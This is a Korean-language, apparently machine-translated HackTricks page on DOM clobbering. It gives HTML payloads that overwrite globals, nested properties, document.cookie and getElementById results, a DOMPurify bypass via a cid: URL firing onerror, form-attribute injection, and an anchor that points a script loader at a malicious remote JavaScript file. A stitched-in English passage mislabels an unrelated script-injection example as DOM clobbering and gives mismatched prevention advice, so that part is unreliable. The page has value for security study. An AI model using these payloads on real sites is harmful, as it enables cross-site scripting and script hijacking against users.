Dom Clobbering

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

기본

HTML 태그 내에서 **id**와 name 속성을 사용하여 JS 컨텍스트 내에서 전역 변수를 생성할 수 있습니다.

<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>

name 속성을 사용하여 전역 변수를 덮어쓸 수 있는 요소는 embed, form, iframe, image, imgobject입니다.

흥미로운 점은 form 요소를 사용하여 변수를 덮어쓸 때, 요소 자체의 toString 값인 [object HTMLFormElement]을 얻게 된다는 것입니다. 그러나 anchor의 경우 **toString**은 anchor의 **href**가 됩니다. 따라서, a 태그를 사용하여 덮어쓸 경우, 문자열로 처리될 때 값을 제어할 수 있습니다:

<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>

배열 및 속성

배열과 객체 속성을 무효화할 수도 있습니다:

<a id=x>
<a id=x name=y href=controlled>
<script>
console.log(x[1])//controlled
console.log(x.y)//controlled
</script>

3번째 속성 (예: x.y.z)을 덮어쓰려면 **form**을 사용해야 합니다:

<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
<script>
alert(x.y.z.value)//controlled
</script>

더 많은 속성을 덮어쓰는 것은 더 복잡하지만 여전히 가능하며, iframe을 사용하여 수행할 수 있습니다:

<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>

스타일 태그는 iframe이 렌더링되는 데 충분한 시간을 제공하기 위해 사용됩니다. 이 태그 없이는 'undefined'라는 경고가 표시됩니다.

더 깊은 속성을 덮어쓰기 위해, 다음과 같이 HTML 인코딩된 iframe을 사용할 수 있습니다:

<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
<script>
alert(a.b.c.d.e)//controlled
</script>

필터 우회

만약 필터가 document.getElementByID('x').attributes와 같이 노드의 속성을 반복하고 있다면, 속성 **.attributes**를 덮어쓰고 필터를 깰 수 있습니다. 다른 DOM 속성인 tagName, nodeName, parentNode 등도 덮어쓸 수 있습니다.

<form id=x></form>
<form id=y>
<input name=nodeName>
</form>
<script>
console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>

window.someObject 덮어쓰기

JavaScript에서는 다음과 같은 코드를 자주 볼 수 있습니다:

var someObject = window.someObject || {};

페이지의 HTML을 조작하면 someObject를 DOM 노드로 덮어쓸 수 있으며, 이로 인해 보안 취약점이 발생할 수 있습니다. 예를 들어, 악성 스크립트를 가리키는 앵커 요소로 someObject를 대체할 수 있습니다:

<a id=someObject href=//malicious-website.com/malicious.js></a>

취약한 코드 예시:

var user = {
  name: "John",
  age: 25
};

function greet() {
  console.log("Hello, " + user.name + "!");
}

greet();

The greet() function takes the name property from the user object and prints a greeting message. However, if an attacker can control the name property, they can inject malicious code into the greet() function.

For example, if the attacker sets the name property to </script><script>alert('XSS');</script>, the resulting code will be:

console.log("Hello, " + </script><script>alert('XSS');</script> + "!");

This will cause the browser to execute the injected JavaScript code, resulting in an XSS (Cross-Site Scripting) attack.

This technique is known as DOM clobbering, where an attacker manipulates the DOM (Document Object Model) by overwriting existing variables or properties. In this case, the attacker overwrites the name property of the user object to execute their malicious code.

To prevent DOM clobbering attacks, it is important to properly sanitize and validate user input before using it in dynamic code execution.

<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>

이 방법은 스크립트 소스를 이용하여 원하지 않는 코드를 실행하는 것입니다.

트릭: **DOMPurify**를 사용하면 cid: 프로토콜을 사용할 수 있습니다. 이 프로토콜은 이중 인용부호를 URL 인코딩하지 않습니다. 이는 런타임에서 디코딩될 인코딩된 이중 인용부호를 삽입할 수 있다는 것을 의미합니다. 따라서 **<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">**와 같은 것을 삽입하면 HTML 인코딩된 &quot;런타임에서 디코딩되고 속성 값에서 이스케이프하여 onerror 이벤트를 생성할 수 있습니다.

다른 기술로는 form 요소를 사용하는 것입니다. 일부 클라이언트 사이드 라이브러리는 새로 생성된 폼 요소의 속성을 확인하여 정리합니다. 그러나 폼 내부에 id=attributes를 가진 input을 추가함으로써 실제 속성에 접근하는 것을 방지하여 소독기가 속성에 접근하지 못하게 할 수 있습니다.

이 유형의 clobbering 예시를 이 CTF writeup에서 찾을 수 있습니다.

문서 객체 덮어쓰기

문서 객체의 속성을 DOM Clobbering을 사용하여 덮어쓸 수 있습니다.

Document 인터페이스는 이름이 지정된 속성을 지원합니다. Document 객체의 지원되는 속성 이름은 다음과 같습니다. 트리 순서에 따라 기여한 요소를 무시하고 나중에 중복된 값은 무시하며, 동일한 요소가 둘 다 기여하는 경우 id 속성 값이 name 속성 값보다 먼저 나옵니다:

- 노출된 embed, form, iframe, img, 노출된 object 요소의 name 콘텐츠 속성 값, 비어 있지 않은 name 콘텐츠 속성을 가지고 document 트리에 있는 요소; - 노출된 object 요소의 id 콘텐츠 속성 값, 비어 있지 않은 id 콘텐츠 속성을 가지고 document 트리에 있는 요소; - img 요소의 비어 있지 않은 id 콘텐츠 속성과 비어 있지 않은 name 콘텐츠 속성을 모두 가지고 document 트리에 있는 요소.

이 기술을 사용하면 **document.cookie, document.body, document.children**과 같이 일반적으로 사용되는 값을 덮어쓸 수 있으며, document.querySelector와 같은 Document 인터페이스의 메서드도 덮어쓸 수 있습니다.

document.write("<img name=cookie />")

document.cookie
<img name="cookie">

typeof(document.cookie)
'object'

//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")

document.cookie
HTMLCollection(2) [img, form, cookie: img]

typeof(document.cookie)
'object

요소를 덮어쓴 후에 작성하기

**document.getElementById()**와 **document.querySelector()**의 호출 결과는 동일한 id 속성을 가진 <html> 또는 <body> 태그를 삽입하여 변경할 수 있습니다. 다음은 그 방법입니다:

<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
<html id="cdnDomain" class="x">clobbered</html>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
alert(document.querySelector('.x').innerText); // Clobbered
</script>

또한, 주입된 HTML/body 태그를 숨기기 위해 스타일을 사용함으로써 innerText의 다른 텍스트로부터의 간섭을 방지할 수 있으므로 공격의 효과를 향상시킬 수 있습니다:

<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">clobbered</html>
<style>
p{display:none;}
</style>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

SVG에 대한 조사 결과, <body> 태그도 효과적으로 활용할 수 있다는 것이 밝혀졌습니다:

<div style="display:none" id="cdnDomain">example.com</div>
<svg><body id="cdnDomain">clobbered</body></svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

HTML 태그가 Chrome과 Firefox와 같은 브라우저에서 SVG 내에서 작동하려면 <foreignobject> 태그가 필요합니다:

<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<foreignobject>
<html id="cdnDomain">clobbered</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

폼 덮어쓰기

일부 태그 내에서 form 속성을 지정함으로써 폼 내에 새 항목을 추가할 수 있습니다. 이를 사용하여 폼 내에 새 값을 추가하거나 심지어 새로운 버튼전송하는 데 사용할 수 있습니다 (클릭재킹 또는 .click() JS 코드를 남용).

<!--Add a new attribute and a new button to send-->
<textarea form=id-other-form name=info>
";alert(1);//
</textarea>
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>
  • 여기에서 더 많은 form 속성을 확인하세요.

참고 자료

htARTE (HackTricks AWS Red Team Expert) 를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

Last updated